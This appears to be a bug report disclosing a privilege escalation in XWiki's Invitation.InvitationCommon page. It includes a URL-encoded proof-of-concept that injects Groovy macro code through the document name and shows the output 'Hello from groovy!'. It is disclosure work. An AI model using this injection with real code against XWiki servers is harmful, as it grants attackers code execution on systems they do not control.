Privilege escalation (PR) from view right using Invitation.InvitationCommon

Steps to reproduce:

Open <xwiki-host>/xwiki/bin/view/%5D%5D%20%7B%7Basync%20async%3D%22true%22%20cached%3D%22false%22%20context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%20%22%20%2B%20%22from%20groovy!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D?sheet=Invitation.InvitationCommon&xpage=view&test=1 where <xwiki-host> is the URL of your XWiki installation.

Expected result:

The message

testLoadInvitationConfig
Class document ]] {{async async="true" cached="false" context="doc.reference"}}{{groovy}}println("Hello " + "from groovy!"){{/groovy}}{{/async}} not found. can't run test.

(or similar) or no message at all (not sure the test parameter is a real feature and not a bug), but not the string "Hello from groovy!".

Actual result:

The message

testLoadInvitationConfig
Class document ]] {{async async="true" cached="false" context="doc.reference"}}{{groovy}}println("Hello " + "from groovy!"){{/groovy}}{{/async}} Hello from groovy!.WebHome]] not found. can't run test.

is displayed. With Apache Tomcat/9.0.68 (Docker container), the message is Class document view Hello from groovy!.WebHome]] not found. can't run test. as it somehow considers "xwiki/bin/view" as part of the document reference. In both cases, this demonstrates a privilege escalation from view to programming rights.

Note that Invitation.InvitationCommon contains a rights object that explicitly grants view rights to all users and guests so this might even be exploitable on otherwise relatively closed wikis if the exploit URL can be constructed to allow view rights for the user used by the attacker (not sure if this is possible).